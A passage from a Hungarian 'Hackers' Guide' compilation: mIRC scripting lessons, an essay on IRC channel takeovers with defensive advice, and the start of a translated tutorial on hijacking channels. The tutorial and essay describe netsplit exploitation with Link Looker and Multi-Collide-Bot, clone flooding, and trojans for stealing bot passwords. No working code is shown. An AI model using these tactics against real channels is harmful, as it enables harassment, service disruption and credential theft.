A méret megadása után a következôket használhatjuk:

text "szöveg", id, x y w h, stílus (right, center) - szöveg megjelenítése. Az id - mint máshol is - az a szám, amivel a késöbbiekben esetlegesen hivatkozhatunk rá (fontos, hogy minden objektumnak más id-vel kell rendelkeznie, különben az ablak meg sem jeleníthetô). edit "szöveg", id, x y w h, stílus (right, center, multi, pass, read, return, hsbar, vsbar, autohs, autovs) - egysoros beviteli mezô. button "szöveg", id, x y w h, stílus (default, ok, cancel) - nyomógomb, egy ok gombot mindenféleképpen szükséges feltennünk. check "szöveg", id, x y w h, stílus (left, push, 3state) - kipiálható négyzet. radio "szöveg", id, x y w h, stílus (left, push) - kipipálható köröcske, amely csapatokba foglalható a group segítségével. box "szöveg", id, x y w h, stílus - szövegdoboz. combo id, x y w h, stílus (sort, edit, drop) - hasonló az edithez, de itt egy oldalsó nyíl segítségével a már meglévô elemekbôl is választhat a felhasználó. A méret megadásakor fontos figyelni arra, hogy a lenyíló választómenünek is helyet kell hagynunk. A combo menüjét, az edit szövegét, ill. a check és radio gombok alapbeállásait csak akkor tudjuk megadni, ha elötte megismerkedünk az "on dialog" eseményfigyelôvel, melynek szintaxisa: on [felhasználói szint]:dialog:[a dialog neve]:[esemény]:[id]: {}, ahol az esemény lehet init (az ablak megjelenésekor fut le), edit (ha az edit vagy a combo adatát a felhasználó megváltoztatta), sclick (ha az adott id-jû objektumra klikkel a felhasználó (ezzel lehet figyelni pl. az OK gombot is)), ill. dclick (hasonló az sclickhez, de ez dupla kattintáskor aktiválódik). Az adatok feltöltése többnyire a párbeszédablak használatához szükséges, ezért a dialog megjelenésekor van szükségünk rá, tehát az "on *:dialog:[dialog neve]:init:0:" eseményfigyelô után kell elhelyeznünk a megfelelô parancsokat (a 0 id az egész dialogot jelöli). Az adatfeltöltéshez egyetlen parancs, a did áll szolgálatunkra. Ennek paraméterei: -f - az adott id-re állítja a fókuszt -t - alapbeállított gombra állítja az adott id-jû button-t -e - engedélyezi annak használatát -b - letiltja a használatát -v - láthatóvá teszi

157

Hackers’ Guide

-h - elrejti -c - kipipálja a checkbox-ot, a radio-t, vagy kijelöli a combo egy sorát -u - leszedi a pipát -r - minden szöveget töröl, ami az adott id-jû objektumban van -a - egy sort ad a text végéhez -d - letörli az N. sort -i - beszúr egy sort az N. helyre -o - felülírja az N. sort egy szöveggel

A párbeszédablak mostmár használható - ámbár igen egyoldalú a "párbeszéd" hiszen semmiféle információt nem tudunk még szerezni arról, hogy miként ténykedett a felhasználó a panelünkön. Az információgyüjtésre több mód is van - az egyikrôl majd az ablak meghívásánál szólok, míg a másik a $did függvény, melyet a $did([név],id,[N]).tulajdonság formában használhatunk. A tulajdonság helyén hét különbözô dolog állhat:

.text - visszaadja az N. sort

.len - a sor, ill. az N. sor hosszát kapjuk meg

.lines - a sorok száma

.sel - az N. kiválasztott sor (ha N=0, akkor a kijelölt sorok számát kapjuk meg)

.state - check, ill. radio állása: 0 - kikapcsolva, 1 - bekapcsolva

.next - a következô objektum id-je (erre ugrana TAB-al)

.prev - az elôzô objektum id-je.

A $did függvénynek nem minden esetben kell megadni a dialog nevét - ez csak akkor használandó, ha nem az "on dialog"-ból hívjuk azt meg. Fontos lehet még két másik függvény is: a $dname az aktuális dialog nevét adja vissza, a $devent pedig az eseményt.

A kész párbeszédablak megjelenítéséhez kétféle módot választhatunk. Amennyiben a $did parancs helyett ezt akarjuk információgyûjtésre használni, a %változó = $dialog(név, táblanév, -2) -al tehetjük meg ezt - ebben az esetben a %változó a tábla azon objektumainak állapotát veszi fel, amelyek mögé "result"-ot írunk a stílusokhoz. Ha csak meg akarjuk jelentetni az ablakot, hogy a késöbbiekben a $did-el olvashassuk ki az adatokat, akkor a /dialog -m [név] [táblanév] parancsot kell használnunk.

Nézzünk egy példát a fentiekre. Mindenkivel sokszor megesik, hogy almát szeretne árulni mIRC-en keresztül, és meg kell kérdeznie, hogy kér-e a vevô áfá-s számlát, s biztos-e benne, hogy rendel. :) íme egy szép megoldás erre a problémára:

alias alma /dialog -m alma alma[ENTER] ; csinálunk egy parancsot, amivel könnyen meghívható az ablakunk[ENTER] dialog alma {[ENTER] title "Biztos, hogy rendelsz?"[ENTER] size -1 -1 130 60[ENTER] ; a kezdeti formaságok[ENTER] check "áfás számla", 1, 10 10 80 20[ENTER] button "Ok", 2, 20 30 40 20, ok[ENTER] button "Mégsem", 3, 70 30 50 20, cancel[ENTER] ; néhány elemet teszünk az ablakra[ENTER] }[ENTER]

158

Hackers’ Guide

on *:dialog:alma:init:0: {[ENTER] ; ...ha valaki meghívja az ablakot...[ENTER] did -c $dname 1[ENTER] ;...akkor kipipálja azt, hogy "kell-e áfás számla".[ENTER] }[ENTER] on *:dialog:alma:sclick:2: {[ENTER] ;...ha pedig a felhasználó az "OK" gombra klikkelt...[ENTER] if ($did(1).state = 1) echo -a Kell áfá-s számla![ENTER] else echo -a Nem kell áfá-s számla.[ENTER] ; ...akkor megvizsgálja, hogy ki van-e jelölve az "áfás számla", s eszerint válaszol nekünk[ENTER] }[ENTER]

Miként a socket-kezelésnél, a dialog boxoknál is fontos szem elött tartani, hogy a régebbi mIRC-ek nem ismerik ezeket a parancsokat, érdemes tehát a mIRC indításakor (on start) ellenôrizni annak verziószámát a $version függvénnyel.

Video (Varga Gábor) [email protected] ************************************************************************************************ A mi mIRC-ünk... VI. rész: Ami az eddigiekbôl kimaradt...

A mIRC scriptek megkönnyíthetik az IRC használatát - ez természetes, hiszen ez egyben fô céluk is - egy ügyes programozó azonban ennél érdekesebb dolgokat is mûvelhet a kliens utasításkészlete segítségével. Sokan készítenek egészen meglepô IRC-es alkalmazásokat - az azonos alapgondolatok mögött viszont gyakran hasonló hibák és hiányosságok is rejlenek. Az én kedvenc alkalmazásom Record, a robot, akit pár nap alatt írtam, s aki élete nagy részét Bea néven töltötte, a legnépszerübb magyar csatornákról szedve "áldozatait". Kiválóan jellemzi az IRC jelenlegi állapotát, hogy bár Record csak néhány alapvetõ kérdést (honnan írsz, hány éves vagy, hogy vagy, stb.), ill. kifejezést ismert - s az ELIZA-hoz hasonlóan minden másra véletlenszerüen válaszolt "húú, ez érdekes"-szerû mondatokat -, így is akadtak olyanok, akik két-három órán keresztül beszélgettek vele, s volt, aki ezek után még az E-MAIL címét is elkérte.

[Xyz] szia [Bea] Szia Xyz! - felismerte a köszönést. [Xyz] honnan irsz? [Bea] Bp-rol, te? - sablon kérdés, sablon válasz. Xyz valószínüleg akkor is válaszolt volna erre a

159

Hackers’ Guide

kérdésre, ha Bea fel sem teszi. [Xyz] Miskolc [Bea] Szereted az allatokat? - Bea számára minden bizonnyal tökéletesen érthetetlen, amit beszélgetõtársa mondott, így - mivel a kommunikáció elején tartunk - felhoz egy új témát. [Xyz] igen, van is egy kutyam [Bea] Ez erdekes, folytasd! - Ismét egy szót sem ért az egészbõl, így inkább beszélteti Xyz-t. [Xyz] mit folytassak? [Bea] Amit az elobb irtal! - felismerte a "mit" szócskát. [Xyz] nemetjuhasz, lany, 10 eves [Bea] Huu, az fiatal! - sikerült felismernie egy kis részletet a mondatból [stb.]

Bár Recordhoz hasonló magyar robotról még nem hallottam, sok olyan bot van, amely képes beszélni, s válaszolni néhány alapvetõ kérdésre. Némely közülük a bemenetként szavakat kaphat - ilyen esetben szükség lehet annak toldalékolására is, amiben viszont nemigen jeleskednek szegények. A "-nak/nek" helyett sokkalta szebben fest, ha a script kiválasztja a megfelelõt közülük, s csak azt használja, mint ahogyan az "a alma" vagy az "az pohár" sem tanuskodik megfelelõ programozói munkáról.

Hogyan válasszon robotunk helyes toldalékot? A megoldás triviális, csupán némi nyelvtan ismeret szükséges hozzá. Magas hangrendû szóhoz magas, mély és vegyes hangrendûekhez pedig mély toldalék járul - ebbõl világosan látszik, hogy csakis abban az esetben szükséges magas toldalék használata, ha a szó nem tartalmaz egy mély magánhangzót sem:

alias naknek { if ( a isin $1 ) || ( á isin $1 ) || ( o isin $1 ) || ( ó isin $1 ) || ( u isin $1) || ( ú isin $1 ) || ( 0 isin $1 ) { return $1 $+ nak } else { return $1 $+ nek } }

A script a $naknek( [szó] ) függvényként hívható meg. A megoldás csak akkor hibázik, ha az esetleges szó "ô" vagy "ü" betüt tartalmazott volna, s a kedves felhasználó "o", ill. "u" betüt ír - azaz az ékezet nélküli változatát használja helyette - ha azonban a "naknek"-et csak nick-ekre alkalmazzuk, ez nem nagyon fog elôfordulni.

A megfelelõ határozott névelõ kiválasztásához csak az utána álló szó elsõ karakterét kell megvizsgálnunk: az "a" karaktert minden esetben kiírhatjuk, s ha a következô szó elsõ karaktere magánhangzó, akkor egy "z"-t is el kell helyeznünk az "a" után. Sokat dobhat egy robot élethûségén, ha amit mond, azt legalább helyesen teszi...

Érdemes szólni arról a lehetôségrôl is, melyet eddig csupán 1-2 programozó használt ki igazán, s melynek segítségével remek netes játékokat lehet írni - ez a window parancs. A létrehozható ablakok egyik kitüntetett fajtája grafikát is tartalmazhat - ezt használja ki pl. a népszerû mIRC-es rajzprogram , melyben egy táblára egyszerre ketten rajzolhatunk.

160

Hackers’ Guide

Többjátékos alkalmazás fejlesztésekor fontos szem elött tartani, hogy a játék mozgalmassága gyors adatcserét kíván, így a - sokszor lagos (lassú) - IRC serverek erre nem alkalmasak. A megoldás a közvetlen kapcsolódás, azaz a DCC CHAT (amelyet eredetileg a privát beszélgetésekre is illene használni, hiszen így elkerülhetô lenne a lag, és számos netsplit is (amely a DCC CHAT-et egyébként sem érinti)). Bár a játékhoz szükséges adatok küldése minimális sávszélességet igényel, felesleges olyan hibába esni, mint ami a mIRC-es rajzprogramnál is fennáll: nincs értelme angol/magyar jelentéssel bíró utasításokat küldeni DCC-n keresztül, hiszen a program egyetlen karakterbôl is képes felfogni, hogy mit akarunk tôle.

Ha megismerkedünk a write, és a $read szintaxisával, szintén rengeteg új lehetôség nyílik elöttünk. Nemcsak a nagymennyiségû adatok kezelésére használhatunk file-okat, hanem az adatbevitelt is megkönnyíthetjük velük. Jó példa erre a nemrégiben írt scriptem, amely a http://209.67.19.98/lycos_webmaster/proxies.html címrôl elérhetô oldalakon található rengeteg - többnyire nem mûködô - proxy címbôl pár perc alatt kiválogatja a még használható proxy-k IP-it.

A nemrég megjelent mIRC 5.61-tôl alkalmunk nyílik titkosító algoritmusok, vagy akár demoeffektek írására is - Khaled bevezette ugyanis a logikai változókat, s velük a Boole-mûveleteket is. Aki más programnyelveknél találkozott velük, bizonyára tudja, hogy ha egy számot kétszer XOR-olunk egy másikkal, akkor a kiindulási értéket kapjuk - míg a köztes értékbôl bármely más kezdôértékre lehet következtetni, ha nem tudjuk, hogy az eredeti érték mennyivel lett XOR-olva.

Gyakori tévhit, hogy a csatornák nevei "#" jellel kezdôdnek. Ez megengedhetô ugyan egy átlag felhasználó számára, egy scriptírónak viszont feltétlenül ügyelnie kell, hogy scriptjei egyéb csatornákon is fussanak. Ilyenek a "+"-os, azaz mode-talan, a "&"-es, azaz csak egy serverrôl elérhetô, és a "!"-es csatornák. Ez utóbbi rendszerének lényege, hogy bizonyos mértékben megnehezíti a csatorna elfoglalását, továbbá létezik rajta +a, azaz anonymous mode, amit mindenképpen érdemes megnézni, mert ennél nagyobb tévedést még sosem láthattunk az IRCD fejlesztése során... Az egy dolog, hogy a mIRC rendkívül hibásan kezeli, hiszen ez kliensfüggô, de hogy a +a beállítást nem lehet levenni, az rendkívül nagy gondokat eredményezhet egy-egy meggondolatlan +O-s esetében... (A csatornára való elsô fellépéshez a leendô csatornanév elé két darab "!"-et kell írni.)

Komolyabb munka során gyakran kerülhetünk olyan helyzetbe, hogy idôzítve ill. késleltetve akarunk válaszolni - ez jó lehet arra, hogy flood-védelmet készítsünk, de például egy beszélgetô robot esetében is igen sokat dob az élethûségen, ha nem egymásodperces reagcióidôvel küldjük partnerünknek a válaszokat. Ennek megvalósítására a "timer $+ [azonosítószám vagy név] [hányszor] [milyen idôközönként]" szolgál.

A lehetôségek száma természetesen végtelen - így nem is lehet itt mindet bemutatni. A mIRC utasítás- és függvénykészlete rendkívül összetett, de szerencsére így van ez a Súgóval is, amely ugyan angol nyelvû, de tanulmányozása sokat segíthet a minimális angol tudássalrendelkezôknek is. Ha valami mégsem sikerülne, rövid segítséggel szívesen szolgálok akár E-MAIL-ben is.

Video (Varga Gábor) [email protected]

161

Hackers’ Guide

************************************************************************************************ Az IRC-harc alapjairól

avagy mire nem vagytok felkészülve...

Az IRCNet kiválló lehetôséget ad ahhoz, hogy a virtuális garázdaság központjává tegye az IRC-t: sem a becenevek, sem a csatornák nem regisztrálhatóak - a tévhitekkel ellentétben tehát nem azé egy csatorna, aki elôször megnyitotta, hanem azé, aki erôsebb. Bár a rendfenntartó szerepében IRC operátorokat találhatunk, nem fogunk segitséget kapni tôlük semmi olyan esetben, amely egy csatorna tulajdonjogával kapcsolatos, hiszen tulajdon nincs - maga a tény, hogy a csatorna fenntartója te voltál, egy álomvilág bizonyíthatatlan képzelgése csupán. Tökéletes védelem nincs - s ha lenne is, a magyar csatornák legtöbbje teljesen felkészületlen egy-egy nagyobb horderejű támadással szemben. Ha valaki el akar tulajdonítani egy csatornát mástól, kétféle taktikát választhat: vagy operátori jogot szerez valamilyen módon a bennt lévôktôl ill. a servertôl - vagy mindenkit eltávolít a csatornáról. Bár látszólag bonyorult dolognak látszanak, esetenként roppant egyszerű tud lenni bármelyik variáció. Az OP-szerzés szaglászással kezdôdik: megfigyelik, hogy kik az operátorok, mik a szokások, mikre alergiásak a csatornát ôrzô robotok - feltünôbb esetben azt is lekérdezik, hogy milyen IRC klienset használnak a @-okkal ellátott személyek. Ha arra is sikerül rájönni, hogy ki a botok tulajdonosa, az további elônyt jelent, hiszen ha ô csinál valami rosszat, a botok legtöbbször figyelmen kívül hagyják. A legtöbb információt a csatornák homepage-ei szoktak adni ezekrôl. Ha megvannak az adatok, elkészülhet a terv. Az OP szerzéshez vagy meg kell szerezniük valaki jelszavát az egyik bothoz, vagy klónozniuk kell valakit a @-osok közül. A jelszó megszerzése olyan programmal történhet, amely figyeli az illetô adatforgalmát - egyszerübb esetben egy trójai program elküldésével, amit a gyanútlan operátor elindít a gépén, a harcos pedig szabad kezet kap afelett. A klónozáshoz olyan embert keresnek, akinek a szolgáltatójánál nekik is van elérésük - így legközelebb, mikor az illetô nem lesz fenn, úgy tudnak csinálni, mintha ôk lennének azok, s ha a többi operátor kellôen elôvigyázatlan, csak pár szó, s máris @-ot kap a klón. Ha a botok autoop-ra vannak állítva, a helyzet egyszerübb, hiszen belépéskor már meg is kapja a klón az OP-ot. A fô feladat csak ez után következik - a csatorna elfoglalásához ugyanis meg kell szüntetni a többi felhasználó operátori jogát - egyszerre viszont maximum 3-tól lehet elvenni a @-ot. Ha csak 3-an vannak, nincs gond - ha viszont többen, akkor cselesebb módszert kell választaniuk. Elôször a pásztázás jön, szépen sorban megpróbálják a többi opos gépét kifagyasztani, ill. valahogyan kilôni IRC-rôl - ehhez meglepôen jó programokat lehet találni a weben -, majd ha már mindenki kiesett, a maradéktól egy script - elôre megírt program - fogja elvenni a jogokat. A jó scriptek

162

Hackers’ Guide

elôször egy segítôt hoznak be, opolják, majd ketten esnek neki a többieknek: egyikük deopolja a botokat, majd a többieket, míg a másik kick-eli (kiüti) a többit a csatornáról (lehet, hogy a botok nem védekeznek a sok kickre). Ha a botok sokan vannak, s jól vannak bekonfigurálva, a deopolót megfosztják azonnal az OP-jától, ám a segítô védi ôt, s azonnal visszaadja neki a jogot, miközben másik kettôtôl rögtön el is veszi... A kölcsönös védésre a botok nincsenek felkészülve, s végül nem marad más, csak a klón és a segítô... Említettem egy másik módot a csatorna elfoglalására - ez az, mikor a harcosok mindenkit eltávolítanak a csatornáról. A leggyakrabban használt módszer a floodolás - behoz valaki 40-50 klónt, s folyamatosan üzenget velük a csatornára, minek hatására a felhasználókat kidobja az IRC server a sok adatforgalom miatt. Ezután már nincs nehézség: csupán belép a csatornára a harcos, s mivel ô lesz az elsô, a server autómatikusan OP-ot fog neki adni. Ha csak az operátorokat sikerült kifloodolni, akkor egy úgynevezett netsplit segítségével szerezhet a harcos opot - mivel már nincs aki védekezzen ellene, az OP-ja megmarad. Mint látható, a robotok nem tévednek - csak az emberek. Az OP-szerzéses takeover könnyen kivédhetô, ha az operátorok nem adnak senkinek OP-ot - ezt a robotokra kell bízni, akik a megfelelô jelszó ellenében adják oda a jogokat -, nem fogadnak el ismeretlentôl kétes eredetű programokat, és jól bekonfigurálják a botokat: védekeznek a netsplit-es OP-szerzéssel szemben, s nem engedik, hogy ismeretlen opot kapjon (bitch mode). Ha megfelelô védelemmel vannak ellátva, akkor a kilövésüket is megnehezíthetik, Windows alatt pl. a Conseal Firewall nevű program használatával. A takeover másik módja szintén megelôzhetô a botok jó beállításaival: ne engedjenek 1-nél több klónt behozni a csatornára, és figyeljék, hogy ki hányszor vált nick-et - a nickfloodot ugyanis nem lehet ignoreolni (ami a legtöbb IRC-s flood ellen kiválló megoldás). Érdemes legalább 4 botot tenni a csatornára, s ebbôl csak kettô OP-oljon: a többi ignore-oljon mindent, annak érdekében, hogy ne lehessen ôket könnyedén kifloodolni. Tökéletes védelem nincs - mint mondtam, ám az emberi műhibák elkerülésével biztonságosabbá lehetne tenni az IRC csatornákat. A fenti fogalmak sajnos sok operátor számára ismeretlenek a mai napig, pedig alapvetô tudnivalók a megfelelô rend betartatásához. Ha pontosabb információkat szeretnél az IRC-vel, és a védekezéssel kapcsolatban, ajánlom a #Babalany csatorna homepage-én található IRC-s szótárt, és az IRC és BOT parancsok részletes leírásait: http://members.tripod.com/~video_page/baba.htm.

Video ************************************************************************************************ IRC Hacking Tutorial

163

Hackers’ Guide

Eredeti szerzõ: Weasel Fordította: RSC Ebben a doksiban az IRC hackelésrõl lesz szó. Ha tetszik, akkor használd, ha nem tetszik, akkor ne használd. :) Bár szerintem tetszeni fog. A cikkben nincsen leírva, hogy honnan szerezhetõk be a programok, amikrõl szó van. Ezeket sok hacker oldalon megtalálhatod. IRC-hack - A hivatalos doksi Ennek a cikknek a célja, ha még nem találtad ki, annak a tudásnak az átadása, amit én a leghatékonyabbnak tartok az IRC csatornák hackeléséhez. Továbbá, szó lesz pár olyan dologról ha már csatornatulajdonosok vagyunk, ami legalább olyan poénos, mint néhány komolyabb csatorna hackelése.

Tartalom - Egyaltalán minek hackelni az IRC-t? - Hozzávalók - Ami az irányítás átvételéhez szükséges - Link Looker(LL) - Botok és szkriptek - Multi-Collide-Bot(MCB) - A csatorna átvételének elõkészítése - Mi mindent tehetünk, ha megvan a csatorna

·

Egyaltalán minek hackelni az IRC-t? Gyakran felteszem ezt kérdést magamnak. A válaszok sokrétûek, és elég sok van belõlük. Az egyik legfontosabb célja, hogy ne unatkozzunk. :) Ezen kívül persze olyan okai is szoktak lenni, mint pl: "az a seggfej op berágott rám és kidobott/kitiltott a csatornáról. BOSSZÚT akarok!" Ez egy teljesen jogos érvelés, ellenben az unalomûzéssel ami nem is feltétlen szükséges feltétele az IRC csatornák elfoglalásának. Az csak vicc volt :) De az se egy túl valós ok, hogy a segfej op mindig kidob a csatornáról. Az inkább elképzelhetõ, hogy te bunkózol, és ebben az esetben te vagy a seggfej. De ne legyen igazam. :) Szóval a lényeg a lényeg, kell hozzá az akarat, a szándék, egy kis szakértelem, és természetesen szükségesek azok az eszközök, amelyeket a következõ részben fogok ismertetni.

2. rész - A szükséges cuccok Minden valamirevaló munkásnak megvannak a maga eszközei, és az IRC

164

Hackers’ Guide

hackereknél sincs ez másképp. A megfelelõ programok nélkül elveszett halott vagy. Minden progi, amirõl lejjebb írok, megtalálható publikus ftp oldalakon. (Pl. SAC) Mielõtt belevágok, fontosnak érzem elmondani, hogy a hackelést sose a saját géped mögül csináld, hanem szerezz valahonnan egy shell hozzáférést. Erre mindenképpen szükséged lesz, ha komolyabb dolgokkal is akarsz foglalkozni. Az IRC hackelés dialup-ról sokkal komplikáltabb, mint egy shell accountról. Vannak, akik vitatják ezt, de az én tapasztalataim azt mutatják, hogy a mIRC meg a többi ilyen PC-s shareware IRC progi nem használható olyan gyorsan és kényelmesen, mint egy IRC shell szkript. Így az elsõ szükséges dolog egy kiváló IRC shell szkript. Ha már használtál IRC-t shell hozzáférésen keresztül, akkor valószínû van már szkripted, vagyis jó úton jársz! ami engem illet, az én kedvenc szkriptem a Lice - ami ismét elérhetõ a publikum számára FTP-n. Természetesen más szkriptek is léteznek, de az a LICE parancsainak bõségét és erejét egyik sem éri el. Na azért ne higgyük azt, hogy mindössze egy scriptet használva, mienk lesz az egész IRC, mert így minden bizonnyal koppanás lesz belõle. :) Éppenezért további két progit ajánlok: a Multi-Collide-Bot-ot (MCB) és Link Looker-t(LL). Ez a két C program a gyalogságot és a kölcsönös hírszerzés feladatát fogja neked betölteni. Ismét azt kell mondanom, hogy a két progi FTP-n megtalálható. Mindkettõ C nyelvû progi, tehát használat elõtt felrázandó, izé lefordítandó. :)

3. rész - Ami az irányítás átvételéhez szükséges Ahhoz, hogy ténylegesen átvedd az irányítást egy IRC csatorna felett, neked kell lenni az egyedüli operátornak a csatornán. Gy.k. ez annyit tesz, hogy csak a te nicked elõtt lehet @. :) Ha ezt elérted, akkor a csatorna a TIÉD. Természetesen csak addig, amíg vissza nem foglalják, vagy úgy nem döntesz, hogy visszaadod a csatit. Az OP szerzésre elég sok lehetõség van. A legegyszerûbbel kezdem, és fokozatosan mutatom be a bonyolultabb és rafiniáltabb módszereket. Messze a legkönnyebb megoldás az OS szerzésre, a kunyizás. ("Aki kér az kap, a zörgetõknek megnyittatik" :))) Nevetsz?! Sebaj, ez is egy lehetõség. :) Ahogy a hackerek egyre gyakrabban veszik át a hatalmat, ez a kéréses módszer egyre kivitelezhetetlenebb lesz. Ez különösen igaz a nagyobb és jól megszervezett csatornákra, amiknek már saját kultúrájuk van :) mint pl a #Netsex, #Teensex, #Windows95, #Bawel, #BDSM, #Blaklife, #Texas, #Hack, vagy akármelyik #Warez csatorna, és még egy nagy adag másik. Ezeken a csatornákon hogy OP-ot szerezz, elõször fõmuftivá kell válnod :) (vagyis hogy állandóan ott lógj, elismert és megbízható tagja legyél a csatornának.) De mivel az embernek se ideje se kedve nincs ahhoz, hogy összebarátkozzon azokkal, akiktõl végülis az OP-ot akarja meggányolni, a kunyizó módszer a legutolsó dolog, ami szóba jöhet. :) A kisebb, lazább csatornákon viszont nyilvánvalóan nagyobb az esélyed arra, hogy valamelyik ostoba házigazda ad neked is OP-ot. Ezzel a módszerrel kapcsolatban van egy fontos kivétel az anonirc-n keresztüli használatra vonatkozólag. Az anonirc bármilyen csatornán használható, de csak szigorú korlátozásokkal. Errõl bõvebb infót lejjebb találsz. Na jó hagyjuk ezt a témát, biztosan nem azért olvastad el ezt a doksit eddig, hogy megtanuljad, hogyan kell OP-ot kunyizni. :) Szóval lépjünk tovább.

A kérésen kívül további két, alapvetõ módja van az OP szerzésnek. Az elsõ a split-en keresztüli, a másik pedig az anonirc-n keresztüli. Na akkor ejtsünk elõször pár szót a split-ekrõl, aztán tömören néhány gondolat az anonirc-rõl. Mi is az a split? A split

165

Hackers’ Guide

akkor keletkezik, amikor az az IRC szerver, amelyikre csatlakoztál, elveszti a kapcsolatot a hálótól. Ha szerencséd van és egyedül vagy a csatornán a splitelõ szerveren, elõbb utóbb nem leszel egyedül :), megjelennek a többiek is, ez az a pont, amikor eljött az alkalom az OP szerzésre. Ahhoz hogy ezt elérd, ki kell lépned a csatornából, és újra belépni. Ezzel máris elérted azt, hogy ott virít a kukac a neved elõtt. Amikor a splitelõ IRC szerver összecsatlakozik a többivel, az opod megmarad. Ekkor mondhatod azt, hogy "szuper, de nekem ennyi elég is." Na ez egy téves felfogás :) Szerencsére, vagy nem szerencsére, a nagyobb csatornákra különösen jellemzõ az, hogy lekapják az OP-odat secc perc alatt. De a mi célunk pontosan az, hogy megtartsuk az OP-ot, és azt mondhassuk a többieknek, hogy "cseresznye" :) Szóval nem buli ez így teljesen, ugyanis elõbb fogsz megõszülni és meghalni, ha arra vársz, hogy a szervered spliteljen... Dehát akkor mit lehet tenni? A kérdésre a Link Looker a válasz.

4. rész - Link Looker A Link Looker egy aranyos kicsi program ami számodra hírszerzõ tisztként funkcionál. Anélkül, hogy különösebben belemennénk a felépítésébe vagy a mûködésébe, tehát röviden: a programtól üzenetet kapsz, amikor valamelyik szerver elszakad a nettõl, és amikor visszacsatlakozik. Most már kezded tisztábban látni a dolgokat? Helyes! ;-) Amikor a Link Looker azt mondja, hogy az X szerver splittel, akkor felcsatlakozol rá, belépsz abba a csatornába, ahol OP-ot akarsz szerezni, és reménykedsz, hogy senki más nincsen az X szerveren a csatorna tagjai közül (különben senki sem kap OP-ot!!) Ha te vagy az egyetlen a csatornán, akkor megkapod az OP-ot és egy harccal kiküzdhetõ lehetõséget a hatalom átvételéhez. Fontos hogy felfogjuk, hogy sok csatornán ez a most bemutatott módszer tökéletesen elég az irányítás megszerzéséhez. Ez éppúgy igaz a közepes és kis méretû csatornákra, mint azokra, amelyek rosszul szervezettek, vagy nincsenek botjaik (errõl bõvebben lejjebb). Egyszerûen csak meg kell várni, míg a szerver újracsatlakozik, és a csatorna megtelik, csak kiadod a mindenki deopolása parancsot (ez benne van a scriptben és kulcsfontosságú dolog, hogy megszabaduljunk a többi OP-tól) hogy az egyedüli OP maradj a csatornán. A csatorna innentõl a tiéd!, lehet örülni. Nagyobb és jól szervezett csatornákon, a dolgok azért nem ilyen egyszerûek a csatornán levõ botok miatt, valamint az emberi OP-ok által használt scriptek miatt.

5. rész - Botok és szkriptek A nagyobb, komolyabb csatornákon elkerülhetetlenül fontos, hogy legyen legalább egy bot(Robot), vagy egész bot rendszer. A botok gyakorlatilag felspécizett szkriptek, amelyek lényege, hogy folyamatos jelenlétükkel fenntartsák a csatornát, illetve náluk legyen az OP. Ezen kívül gondoskodnak arról, hogy egy adag feladatot elvégezzenek a csatornán,mint pl. az ismert tagok opolását (vagy automatikusan, vagy jelszavas azonosítás után, kérésre), üzeneteket és más információk továbbítását, stb. A botokat tehát elsõdleges a csatornán az OP-ok kézben tartására használják, valamint a bot fajtájától függõen az IRC hackerek elleni védekezésre. Nagyon sok féle és fajta bot létezik, de a legtöbb elég hatékonyan szedi el az OP-ot a split-telõktõl (igen igen, ez te vagy... az újracsatlakozás után, a bot kapásból elveszi tõled az OP-ot). De persze nem csak a botok vehetik el tõled az OP-ot...

166

Hackers’ Guide

nagyon sokan használnak scripteket (mint pl. a LIce), amelyek a beállításoktól függõen szintúgy elveszik az OP-odat. [Na ezen a ponton mindenképpen meg kell, hogy jegyezzem, hogy az eredeti szöveg szerzõjének botrányos helyesírása van. -RSC-] Még egy fontos dologról kell ezzel kapcsolatban beszélnünk: ezeknek a király scripteknek van egy hátrányuk is, mégpedig az, hogy az IRC meglevõ egyensúlyát felboríthatják. Ez egy elég kellemetlen dolog, a lényege az, hogy amikor újra csatlakozol egy split után, a szkripted szépen elszedi az opoktól a kukacot, közben azok is elveszik tõled az opot. Ez összezavarhatja az irc szervereket, és elveszíthetik egymástól a kapcsolatot. Ezt mindenképpen el kéne valahogy kerülni. Mert ha megtörténik, akkor nem leszel összhangban a net nagy részével és a legtöbb csatornával (attól függõen, hogy melyik szerveren lógsz). Ami még ennél is rosszabb, ha úgy tûnik, hogy megmaradt az opod, (ami igaz is a te szerveredre) de valójában nem, és csak az idõdet vesztegeted. Szóval mit tegyünk akkor, ha az elfoglalandó csatorna tele van bottal és egy csomó állati scripttel... A megoldás az MCB-ben rejlik...

6. rész - Multi-Collide-Bot(MCB) A Multi-Collide-Bot (MCB) egy nagyon hatékony cucc és az irchackelésben a legjobb barátunk. Az MCB-vel gyakorlatilag klónozhatod azt a nicket, amit ki akarsz csinálni (ez majdnem mindig annak a csatornának az opja, amelyiket meg akarod hackelni...). Ezt azon a szerveren végzi el, amelyik éppen splitel (bizony, errõl a Link Looker informál minket) Magyarul az MCB-nek meg kell adni azt a nevet vagy azokat a neveket, amit/amiket el akarsz távolítani, és azt hogy ezt melyik splitelõ szerveren tegye. Vigyázz/Kész/Tûûûz! Igen, ez így igaz. A célpont leesik a csatornáról, (így elveszti az opját is) és újra kell csatlakoznia, hogy visszaléphessen az IRC-re és a csatornára. Szóval szépen kitettük a szûrét. Sebaj, néha ez is kell ;) Ha mindegyik opot kilõtted, és utána a splitet kihasználva te leszel a csatorna egyedüli operátora. Azt hadd tegyem hozzá, hogy nincs semmi hatása az opokat kicsináló üzeneteknek, ha nem spliten alapul.

7. rész - A csatorna átvételének elõkészítése Egy csomó dolgot érdemes a csatorna hack-elés elõtt elvégezni, hogy az egész könnyebben és gördülékenyebben menjen. a.) Akció elõtt megfigyelés. Tervezd meg és tudj meg mindent arról a csatornáról, amit támadsz. A legfontosabb dolgok egyike megfigyelésben, hogy megállapítsd, hogy melyik botok és/vagy emberek foglalkoznak a deopolással az újracsatlakozásokkor. Õk az elsõdleges célpontok. Biztosan el fogod bukni, ha nem csinálod ki ezeket a nickeket és úgy csatlakozol újra, mert több mint valószínû, hogy nem érsz el vele mást, mint a kapcsolatvesztést (errõl bõvebben feljebb). Szóval biztos legyél benne, hogy minden opot kikészítesz. Akárcsak egy op kihagyása is bukást jelenthet, és kezdheted elõlrõl az egészet, várva a következõ splitre. Fontos, hogy figyelj azokra az opokra is, akik megváltoztatják a nicküket, ha splitet észlelnek. Ha van ilyen op, és csak az eredeti nickjét jelölted meg az MCB-ben, akkor az nem fog sokat érni. A dolog, amire mindenképpen ügyelj az az, hogy a split mindkét oldalán ott legyél. Ilyenkor a split-elõ szerveren opot kapsz, és a másik oldalon pedig egy klónnal figyelheted az eseményeket, az opok nick változtatására vagy új emberkék ophoz jutására kapásból reagálhatsz egy új, nevükre szóló 